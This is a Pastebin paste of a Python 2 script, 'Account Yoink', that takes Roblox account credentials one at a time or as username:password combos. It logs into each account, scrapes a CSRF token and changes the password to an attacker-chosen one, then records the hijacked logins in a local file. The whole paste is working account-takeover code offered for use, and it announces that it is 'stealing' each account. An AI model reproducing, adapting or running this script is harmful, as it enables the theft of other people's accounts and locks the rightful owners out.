Advertisement
Guest User

Yoink Source

a guest
Mar 18th, 2018
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.72 KB | None | 0 0
  1. # Account Yoink by
  2.  
  3. try:
  4.     import requests, re
  5.     import os
  6.     import json
  7.     import time
  8. except:
  9.     print('ERROR:: missing module(s)')
  10.     exit()
  11.    
  12. config = json.loads(open('config.json', 'r').read())
  13.  
  14. class rbx():
  15.     def __init__(self):
  16.         self.session = requests.Session()
  17.         self.csrf = None
  18.         self.username = None
  19.         self.password = None
  20.        
  21.     def set_details(self, username, password):
  22.         self.username = username
  23.         self.password = password
  24.         headers = {'User-Agent': 'ROBLOX iOS'}
  25.         request = self.session.post('https://www.roblox.com/NewLogin',
  26.         headers=headers,
  27.         data = {
  28.          'username': self.username,
  29.          'password': self.password
  30.         })
  31.         if ('<h1>Login to Roblox</h1>' in request.content):
  32.             print("Your login details do not seem to be correct")
  33.             return False
  34.         if ('.ROBLOSECURITY' in self.session.cookies.keys()):
  35.             return True
  36.         else:
  37.             return False
  38.         return False
  39.        
  40.     def get_details(self):
  41.         headers = {'User-Agent': 'ROBLOX iOS'}
  42.         getURL = "http://www.roblox.com/mobileapi/userinfo"
  43.         request = self.session.get(getURL, headers=headers)
  44.         return request.content
  45.        
  46.     def getToken(self):
  47.         headers = {'User-Agent': 'ROBLOX iOS'}
  48.         request = self.session.get("https://www.roblox.com/home", headers=headers)
  49.         if ('<title>Login - Roblox</title>' in request.content):
  50.             print("Unable to get token for {}").format(self.username)
  51.             return False
  52.         else:
  53.             self.csrf = re.search(r"setToken\('(.+)'\);", request.content).group(1)
  54.             print("Got token {} for {}").format(self.csrf, self.username)
  55.             return True
  56.    
  57.     def changePassword(self):
  58.         global config
  59.         newPassword = config['new-password']
  60.         headers = {'X-CSRF-TOKEN': self.csrf, 'User-Agent': 'ROBLOX iOS'}
  61.         print("Attempting to steal {}").format(self.username)
  62.  
  63.         data = {
  64.             'oldPassword': self.password,
  65.             'newPassword': newPassword,
  66.             'confirmNewPassword': newPassword
  67.         }
  68.         self.session.post('https://www.roblox.com/account/changepassword', data=data, headers=headers)
  69.         print("Changed: " + self.username + " to " + newPassword)
  70.         self.logSuccess(self.username + ":" + newPassword + "\n")
  71.         return True
  72.    
  73.  
  74.     def logSuccess(self, string):
  75.         with open("yoinked.txt", "a") as file:
  76.             file.write(string)
  77.             file.close()  
  78.            
  79. def check_combo():
  80.     check = raw_input("Username:Password - ")
  81.     if (check.find(":") == -1):
  82.         print("Error in entry {}").format(check)
  83.         return False
  84.     session = rbx()
  85.     username, password = check.split(':')
  86.     if (session.set_details(username, password) == True):
  87.         token = session.getToken()
  88.         if (token == False):
  89.             print("Invalid Token Response")
  90.             return False
  91.         checkAttempt = session.changePassword()
  92.         if (checkAttempt == False):
  93.             return False
  94.     else:
  95.         print("Error Setting Details")
  96.         return False
  97.        
  98. def check_prompt():
  99.     username = raw_input("Enter Username - ")
  100.     while not username:
  101.         username = raw_input("Enter Username - ")
  102.     password = raw_input("Enter Password - ")
  103.     while not password:
  104.         password = raw_input("Enter Password - ")  
  105.     session = rbx()
  106.     if (session.set_details(username, password) == True):
  107.         token = session.getToken()
  108.         if (token == False):
  109.             print("Invalid Token Response")
  110.             return False
  111.         checkAttempt = session.changePassword()
  112.         if (checkAttempt == False):
  113.             return False
  114.     else:
  115.         print("Error Setting Details")
  116.         return False
  117.        
  118. def ui_main():
  119.     def title():
  120.         print ('\n' * 100)
  121.         print 'Official Account Yoink'
  122.     def ui_combo():
  123.         title()
  124.         check_combo()
  125.         raw_input('-- Hit Enter To Continue --')
  126.         ui_main()
  127.     def ui_prompt():
  128.         title()
  129.         check_prompt()
  130.         raw_input('-- Hit Enter To Continue --')
  131.         ui_main()
  132.     title()
  133.     print '> What do you wish to do'
  134.     print '1 - Yoink by Combo (username:password)'
  135.     print '2 - Yoink By Prompt (username and password separate)'
  136.     print '3 - Exit'    
  137.     user_input = raw_input('$ ').lower()
  138.     if (user_input == '1'):
  139.         title()
  140.         ui_combo()
  141.     elif (user_input == '2'):
  142.         title()
  143.         ui_prompt()
  144.     elif (user_input == '3'):
  145.         return True
  146.        
  147. ui_main()
  148. raw_input('-- Hit Enter To Close --')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement